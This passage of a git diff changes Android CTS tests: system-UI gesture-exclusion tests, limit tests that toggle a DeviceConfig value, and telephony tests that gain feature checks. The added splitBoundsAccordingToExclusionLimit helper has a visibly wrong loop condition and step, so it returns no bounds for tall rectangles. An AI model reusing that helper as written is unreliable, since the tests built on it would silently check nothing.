- protected void assumeHasColoredNavigationBar(
- ActivityTestRule<? extends LightBarBaseActivity> rule) throws Throwable {
- assumeBasics();
-
- // No virtual navigation bar, so no effect.
- assumeTrue(hasVirtualNavigationBar(rule));
- }
-
protected void checkNavigationBarDivider(LightBarBaseActivity activity, int dividerColor,
int backgroundColor, String methodName) {
final Bitmap bitmap = takeNavigationBarScreenshot(activity);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 95573d1aeba..137c0034396 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
package android.systemui.cts;
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertTrue;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index f8036f2e4da..7da28d00c1d 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -16,6 +16,8 @@
package android.systemui.cts;
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
index 7543c204d91..e4c6b0700d8 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
@@ -43,7 +43,6 @@ public class WindowInsetsActivity extends LightBarBaseActivity implements View.O
private static final int DISPLAY_CUTOUT_SLACK_DP = 20;
private TextView mContent;
- private boolean mIsSetViewBound;
private WindowInsets mContentWindowInsets;
private WindowInsets mDecorViewWindowInsets;
private Rect mDecorBound;
@@ -164,25 +163,21 @@ public class WindowInsetsActivity extends LightBarBaseActivity implements View.O
* To present the WindowInsets information to mContent.
* To show all of results of getSystemWindowInsets(), getMandatorySytemGestureInsets(),
* getSystemGestureInsets(), getTappableElementsInsets() and the exclude rects
+ *
+ * @param rect the rectangle want to add or pass into to setSystemGestureExclusionRects
*/
@MainThread
- public void setSystemGestureExclusion(boolean isSetViewBoundary) {
- mIsSetViewBound = isSetViewBoundary;
+ public void setSystemGestureExclusion(Rect rect) {
List<Rect> rects = new ArrayList<>();
- if (mIsSetViewBound) {
- rects.add(new Rect(0 /* content view full match activity's width*/,
- 0 /* content view full match activity's height */,
- mContent.getWidth(),
- mContent.getHeight()));
+ if (rect != null) {
+ rects.add(rect);
}
-
getContentView().setSystemGestureExclusionRects(rects);
showInfoInTextView();
}
private void showInfoInTextView() {
StringBuilder sb = new StringBuilder();
- sb.append(mIsSetViewBound ? "setSystemGestureExclusionRects" : "no set").append("\n");
sb.append("exclude rect list = " + Arrays.deepToString(mContent
.getSystemGestureExclusionRects().toArray())).append("\n");
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 2ca4156440c..3645bae7556 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -16,22 +16,35 @@
package android.systemui.cts;
+import static android.provider.DeviceConfig.NAMESPACE_WINDOW_MANAGER;
+import static android.provider.DeviceConfig.WindowManager.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
+import static android.view.View.SYSTEM_UI_CLEARABLE_FLAGS;
+import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
+import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
+import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
+import static android.view.View.SYSTEM_UI_FLAG_VISIBLE;
+
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static junit.framework.Assert.assertEquals;
import static junit.framework.TestCase.fail;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;
+import android.graphics.Insets;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
+import android.provider.DeviceConfig;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -40,12 +53,19 @@ import android.support.test.uiautomator.Until;
import android.util.ArrayMap;
import android.util.DisplayMetrics;
import android.view.Display;
+import android.view.View;
+import android.view.ViewTreeObserver;
import android.view.WindowInsets;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import com.google.common.collect.Lists;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -53,12 +73,12 @@ import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
import java.util.function.BiConsumer;
+import java.util.function.Consumer;
@RunWith(AndroidJUnit4.class)
public class WindowInsetsBehaviorTests {
@@ -69,11 +89,17 @@ public class WindowInsetsBehaviorTests {
private static final int STEPS = 10;
private static final int DIP_INTERVAL = 40;
+ // The minimum value of the system gesture exclusion limit is 200 dp. The value here should be
+ // greater than that, so that we can test if the limit can be changed by DeviceConfig or not.
+ private static final int EXCLUSION_LIMIT_DP = 210;
+
private final boolean mForceEnableGestureNavigation;
private final Map<String, Boolean> mSystemGestureOptionsMap;
private float mPixelsPerDp;
+ private int mDisplayWidth;
+ private int mExclusionLimit;
private UiDevice mDevice;
- private Rect mDragBound;
+ private Rect mSwipeBound;
private String mEdgeToEdgeNavigationTitle;
private String mSystemNavigationTitle;
private String mGesturePreferenceTitle;
@@ -257,6 +283,8 @@ public class WindowInsetsBehaviorTests {
final DisplayMetrics metrics = new DisplayMetrics();
display.getRealMetrics(metrics);
mPixelsPerDp = metrics.density;
+ mDisplayWidth = metrics.widthPixels;
+ mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
// To setup the Edge to Edge environment by do the operation on Settings
boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
@@ -284,7 +312,7 @@ public class WindowInsetsBehaviorTests {
mActivity.setInitialFinishCallBack(isFinish -> latch.countDown());
mDevice.waitForIdle();
- latch.await(5, TimeUnit.SECONDS);
+ latch.await(5, SECONDS);
}
/**
@@ -311,8 +339,8 @@ public class WindowInsetsBehaviorTests {
}
- private void dragByUiDevice(Point p1, Point p2) {
- mDevice.drag(p1.x, p1.y, p2.x, p2.y, STEPS);
+ private void swipeByUiDevice(Point p1, Point p2) {
+ mDevice.swipe(p1.x, p1.y, p2.x, p2.y, STEPS);
}
private void clickAndWaitByUiDevice(Point p) {
@@ -327,7 +355,7 @@ public class WindowInsetsBehaviorTests {
/* wait until the OnClickListener triggered, and then click the next point */
try {
- latch.await(5, TimeUnit.SECONDS);
+ latch.await(5, SECONDS);
} catch (InterruptedException e) {
fail("Wait too long and onClickEvent doesn't receive");
}
@@ -337,7 +365,7 @@ public class WindowInsetsBehaviorTests {
}
}
- private int dragBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+ private int swipeBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
final int theLeftestLine = viewBoundary.left + 1;
final int theToppestLine = viewBoundary.top + 1;
final int theRightestLine = viewBoundary.right - 1;
@@ -395,7 +423,7 @@ public class WindowInsetsBehaviorTests {
return count;
}
- private int dragAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
+ private int swipeAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
BiConsumer<Point, Point> callback) {
final int theLeftestLine = viewBoundary.left + 1;
final int theToppestLine = viewBoundary.top + 1;
@@ -421,7 +449,7 @@ public class WindowInsetsBehaviorTests {
return count;
}
- private int dragAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
+ private int swipeAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
BiConsumer<Point, Point> callback) {
final int theToppestLine = viewBoundary.top + 1;
final int theRightestLine = viewBoundary.right - 1;
@@ -446,16 +474,16 @@ public class WindowInsetsBehaviorTests {
return count;
}
- private int dragAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+ private int swipeAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
int count = 0;
- count += dragAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
- count += dragAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
+ count += swipeAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
+ count += swipeAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
return count;
}
- private int dragAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
+ private int swipeAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
BiConsumer<Point, Point> callback) {
final int theLeftestLine = viewBoundary.left + 1;
final int theToppestLine = viewBoundary.top + 1;
@@ -480,7 +508,7 @@ public class WindowInsetsBehaviorTests {
return count;
}
- private int dragAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
+ private int swipeAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
BiConsumer<Point, Point> callback) {
final int theLeftestLine = viewBoundary.left + 1;
final int theRightestLine = viewBoundary.right - 1;
@@ -505,40 +533,71 @@ public class WindowInsetsBehaviorTests {
return count;
}
- private int dragAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+ private int swipeAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
int count = 0;
- count += dragAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
- count += dragAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
+ count += swipeAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
+ count += swipeAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
return count;
}
- private int dragInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+ private int swipeInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
int count = 0;
- count += dragBigX(viewBoundary, callback);
- count += dragAllOfHorizontalLines(viewBoundary, callback);
- count += dragAllOfVerticalLines(viewBoundary, callback);
+ count += swipeBigX(viewBoundary, callback);
+ count += swipeAllOfHorizontalLines(viewBoundary, callback);
+ count += swipeAllOfVerticalLines(viewBoundary, callback);
return count;
}
- private int dragInViewBoundary(Rect viewBoundary) {
- return dragInViewBoundary(viewBoundary, this::dragByUiDevice);
+ private int swipeInViewBoundary(Rect viewBoundary) {
+ return swipeInViewBoundary(viewBoundary, this::swipeByUiDevice);
+ }
+
+ private List<Rect> splitBoundsAccordingToExclusionLimit(Rect rect) {
+ final int exclusionHeightLimit = (int) (getPropertyOfMaxExclusionHeight() * mPixelsPerDp
+ + 0.5f);
+
+ final List<Rect> bounds = new ArrayList<>();
+ if (rect.height() < exclusionHeightLimit) {
+ bounds.add(rect);
+ return bounds;
+ }
+
+ int nextTop = rect.top;
+ while (nextTop >= rect.bottom) {
+ final int top = nextTop;
+ int bottom = top + exclusionHeightLimit;
+ if (bottom > rect.bottom) {
+ bottom = rect.bottom;
+ }
+
+ bounds.add(new Rect(rect.left, top, rect.right, bottom));
+
+ nextTop += bottom;
+ }
+
+ return bounds;
}
@Test
- public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel() {
+ public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel()
+ throws InterruptedException {
assumeTrue(hasSystemGestureFeature());
- mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
- mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+ mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
mContentViewWindowInsets.getMandatorySystemGestureInsets(),
mContentViewWindowInsets));
- int dragCount = dragInViewBoundary(mDragBound);
+ final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+ int swipeCount = 0;
+ for (Rect swipeBound : swipeBounds) {
+ setAndWaitForSystemGestureExclusionRectsListenerTrigger(swipeBound);
+ swipeCount += swipeInViewBoundary(swipeBound);
+ }
mainThreadRun(() -> {
mActionDownPoints = mActivity.getActionDownPoints();
@@ -548,20 +607,24 @@ public class WindowInsetsBehaviorTests {
mScreenshotTestRule.capture();
assertEquals(0, mActionCancelPoints.size());
- assertEquals(dragCount, mActionUpPoints.size());
- assertEquals(dragCount, mActionDownPoints.size());
+ assertEquals(swipeCount, mActionUpPoints.size());
+ assertEquals(swipeCount, mActionDownPoints.size());
}
@Test
public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
assumeTrue(hasSystemGestureFeature());
- mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+ mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
- mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+ mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
- int dragCount = dragInViewBoundary(mDragBound);
+ final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+ int swipeCount = 0;
+ for (Rect swipeBound : swipeBounds) {
+ swipeCount += swipeInViewBoundary(swipeBound);
+ }
mainThreadRun(() -> {
mActionDownPoints = mActivity.getActionDownPoints();
@@ -571,20 +634,23 @@ public class WindowInsetsBehaviorTests {
mScreenshotTestRule.capture();
assertEquals(0, mActionCancelPoints.size());
- assertEquals(dragCount, mActionUpPoints.size());
- assertEquals(dragCount, mActionDownPoints.size());
+ assertEquals(swipeCount, mActionUpPoints.size());
+ assertEquals(swipeCount, mActionDownPoints.size());
}
@Test
- public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel() {
+ public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel()
+ throws InterruptedException {
assumeTrue(hasSystemGestureFeature());
- mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
+ final Rect[] rects = new Rect[1];
+ mainThreadRun(() -> rects[0] = mActivity.getViewBound(mActivity.getContentView()));
+ setAndWaitForSystemGestureExclusionRectsListenerTrigger(rects[0]);
mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
- mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+ mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
- int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+ final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
mainThreadRun(() -> {
mClickCount = mActivity.getClickCount();
@@ -601,12 +667,12 @@ public class WindowInsetsBehaviorTests {
public void tappableElements_tapSamplePoints_notExcludeViewRects_withoutAnyCancel() {
assumeTrue(hasSystemGestureFeature());
- mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+ mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
- mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+ mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
- int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+ final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
mainThreadRun(() -> {
mClickCount = mActivity.getClickCount();
@@ -618,4 +684,181 @@ public class WindowInsetsBehaviorTests {
assertEquals("The Number of the canceled points not match", 0,
mActionCancelPoints.size());
}
+
+ @Test
+ public void swipeInsideLimit_systemUiVisible_noEventCanceled() throws Throwable {
+ final int swipeCount = 1;
+ final boolean insideLimit = true;
+ testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+ assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+ assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+ assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+ }
+
+ @Test
+ public void swipeOutsideLimit_systemUiVisible_allEventsCanceled() throws Throwable {
+ final int swipeCount = 1;
+ final boolean insideLimit = false;
+ testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+ assertEquals("Swipe must be always canceled.", swipeCount, mActionCancelPoints.size());
+ assertEquals("Action up points.", 0, mActionUpPoints.size());
+ assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+ }
+
+ @Test
+ public void swipeInsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+ // The first event may be never canceled. So we need to swipe at least twice.
+ final int swipeCount = 2;
+ final boolean insideLimit = true;
+ testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+ | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+ assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+ assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+ assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+ }
+
+ @Test
+ public void swipeOutsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+ // The first event may be never canceled. So we need to swipe at least twice.
+ final int swipeCount = 2;
+ final boolean insideLimit = false;
+ testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+ | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+ assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+ assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+ assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+ }
+
+ private void testSystemGestureExclusionLimit(int swipeCount, boolean insideLimit,
+ int systemUiVisibility) throws Throwable {
+ final int shiftY = insideLimit ? 1 : -1;
+ assumeGestureNavigation();
+ doInExclusionLimitSession(() -> {
+ setSystemUiVisibility(systemUiVisibility);
+ setAndWaitForSystemGestureExclusionRectsListenerTrigger(null);
+
+ // The limit is consumed from bottom to top.
+ final int[] bottom = new int[1];
+ mainThreadRun(() -> {
+ final View rootView = mActivity.getWindow().getDecorView();
+ bottom[0] = rootView.getLocationOnScreen()[1] + rootView.getHeight();
+ });
+ final int swipeY = bottom[0] - mExclusionLimit + shiftY;
+
+ for (int i = 0; i < swipeCount; i++) {
+ swipeFromLeftToRight(swipeY, mDisplayWidth);
+ }
+
+ mainThreadRun(() -> {
+ mActionDownPoints = mActivity.getActionDownPoints();
+ mActionUpPoints = mActivity.getActionUpPoints();
+ mActionCancelPoints = mActivity.getActionCancelPoints();
+ });
+ });
+ }
+
+ private void assumeGestureNavigation() {
+ final Insets[] insets = new Insets[1];
+ mainThreadRun(() -> {
+ final View view = mActivity.getWindow().getDecorView();
+ insets[0] = view.getRootWindowInsets().getSystemGestureInsets();
+ });
+ assumeTrue("Gesture navigation required.", insets[0].left > 0);
+ }
+
+ /**
+ * Set system UI visibility and wait for it is applied by the system.
+ *
+ * @param flags the visibility flags.
+ * @throws InterruptedException when the test gets aborted.
+ */
+ private void setSystemUiVisibility(int flags) throws InterruptedException {
+ final CountDownLatch flagsApplied = new CountDownLatch(1);
+ final int targetFlags = SYSTEM_UI_CLEARABLE_FLAGS & flags;
+ mainThreadRun(() -> {
+ final View view = mActivity.getWindow().getDecorView();
+ if ((view.getSystemUiVisibility() & SYSTEM_UI_CLEARABLE_FLAGS) == targetFlags) {
+ // System UI visibility is already what we want. Stop waiting for the callback.
+ flagsApplied.countDown();
+ return;
+ }
+ view.setOnSystemUiVisibilityChangeListener(visibility -> {
+ if (visibility == targetFlags) {
+ flagsApplied.countDown();
+ }
+ });
+ view.setSystemUiVisibility(flags);
+ });
+ assertTrue("System UI visibility must be applied.", flagsApplied.await(3, SECONDS));
+ }
+
+ /**
+ * Set an exclusion rectangle and wait for it is applied by the system.
+ * <p>
+ * if the parameter rect doesn't provide or is null, the decorView will be used to set into
+ * the exclusion rects.
+ * </p>
+ *
+ * @param rect the rectangle that is added into the system gesture exclusion rects.
+ * @throws InterruptedException when the test gets aborted.
+ */
+ private void setAndWaitForSystemGestureExclusionRectsListenerTrigger(Rect rect)
+ throws InterruptedException {
+ final CountDownLatch exclusionApplied = new CountDownLatch(1);
+ mainThreadRun(() -> {
+ final View view = mActivity.getWindow().getDecorView();
+ final ViewTreeObserver vto = view.getViewTreeObserver();
+ vto.addOnSystemGestureExclusionRectsChangedListener(
+ rects -> exclusionApplied.countDown());
+ Rect exclusiveRect = new Rect(0, 0, view.getWidth(), view.getHeight());
+ if (rect != null) {
+ exclusiveRect = rect;
+ }
+ view.setSystemGestureExclusionRects(Lists.newArrayList(exclusiveRect));
+ });
+ assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
+ }
+
+ private void swipeFromLeftToRight(int y, int distance) {
+ mDevice.swipe(0, y, distance, y, STEPS);
+ }
+
+ private static int getPropertyOfMaxExclusionHeight() {
+ final int[] originalLimitDp = new int[1];
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_WINDOW_MANAGER,
+ KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP, -1);
+ DeviceConfig.setProperty(
+ NAMESPACE_WINDOW_MANAGER,
+ KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+ Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
+ });
+
+ return originalLimitDp[0];
+ }
+
+ /**
+ * Run the given task while the system gesture exclusion limit has been changed to
+ * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
+ *
+ * @param task the task to be run.
+ * @throws Throwable when something goes unexpectedly.
+ */
+ private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
+ int originalLimitDp = getPropertyOfMaxExclusionHeight();
+ try {
+ task.run();
+ } finally {
+ // Restore the value
+ SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
+ NAMESPACE_WINDOW_MANAGER,
+ KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+ (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
+ false /* makeDefault */));
+ }
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 1abef133ba8..6ae927b4c69 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -41,6 +41,8 @@ import android.telecom.cts.redirectiontestapp.CtsCallRedirectionServiceControlle
import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
import android.text.TextUtils;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
@@ -194,6 +196,7 @@ public class CallRedirectionServiceTest extends BaseTelecomTestWithMockServices
/**
* Use RoleManager to query the previous call redirection app so we can restore it later.
*/
+ @CddTest(requirement ="3.2.3.5/C-2-5")
private void rememberPreviousCallRedirectionApp() {
runWithShellPermissionIdentity(() -> {
List<String> callRedirectionApps = mRoleManager.getRoleHolders(ROLE_CALL_REDIRECTION);
@@ -205,6 +208,7 @@ public class CallRedirectionServiceTest extends BaseTelecomTestWithMockServices
});
}
+ @CddTest(requirement="3.2.3.5/C-2-4")
private void addRoleHolder(String roleName, String packageName) throws Exception {
UserHandle user = Process.myUserHandle();
Executor executor = mContext.getMainExecutor();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 3ef4ff299c3..39a9346426b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -42,6 +42,7 @@ import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.os.Looper;
import android.os.PersistableBundle;
@@ -63,6 +64,7 @@ public class CarrierConfigManagerTest {
private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
private CarrierConfigManager mConfigManager;
private TelephonyManager mTelephonyManager;
+ private PackageManager mPackageManager;
private static final int TOLERANCE = 2000;
private final Object mLock = new Object();
@@ -72,6 +74,7 @@ public class CarrierConfigManagerTest {
getContext().getSystemService(Context.TELEPHONY_SERVICE);
mConfigManager = (CarrierConfigManager)
getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
+ mPackageManager = getContext().getPackageManager();
}
@After
@@ -142,6 +145,9 @@ public class CarrierConfigManagerTest {
@SecurityTest
@Test
public void testRevokePermission() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
PersistableBundle config;
try {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 52ed059e7b1..c81240da59e 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -169,6 +169,9 @@ public class SmsManagerTest {
@Test
public void testDivideMessage() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
ArrayList<String> dividedMessages = divideMessage(LONG_TEXT);
assertNotNull(dividedMessages);
if (TelephonyUtils.isSkt(mTelephonyManager)) {
@@ -184,6 +187,9 @@ public class SmsManagerTest {
@Test
public void testDivideUnicodeMessage() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
ArrayList<String> dividedMessages = divideMessage(LONG_TEXT_WITH_32BIT_CHARS);
assertNotNull(dividedMessages);
assertTrue(isComplete(dividedMessages, 3, LONG_TEXT_WITH_32BIT_CHARS));
@@ -437,6 +443,9 @@ public class SmsManagerTest {
@Test
public void testContentProviderAccessRestriction() throws Exception {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
Uri dummySmsUri = null;
Context context = getInstrumentation().getContext();
ContentResolver contentResolver = context.getContentResolver();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 0832528fc6b..68034312b7f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -43,6 +43,8 @@ import android.telephony.SubscriptionManager;
import android.telephony.SubscriptionPlan;
import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
import com.android.internal.util.ArrayUtils;
@@ -66,8 +68,6 @@ import java.util.function.Consumer;
import java.util.function.Predicate;
import java.util.stream.Collectors;
-import androidx.test.InstrumentationRegistry;
-
public class SubscriptionManagerTest {
private SubscriptionManager mSm;
@@ -550,10 +550,11 @@ public class SubscriptionManagerTest {
}
};
- int [] subList = mSm.getActiveSubscriptionIdList();
+ List<SubscriptionInfo> subscriptionInfos = mSm.getActiveSubscriptionInfoList();
boolean changes = false;
- for (int subId : subList) {
+ for (SubscriptionInfo subInfo : subscriptionInfos) {
+ int subId = subInfo.getSubscriptionId();
if (subId != preferredSubId) {
int newPreferredSubId = subId;
// Change to a new value.
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3a72a8026c3..807ef0cab41 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1229,6 +1229,10 @@ public class TelephonyManagerTest {
*/
@Test
public void testGetUiccCardsInfo() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+ return;
+ }
try {
// Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
List<UiccCardInfo> infos = mTelephonyManager.getUiccCardsInfo();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
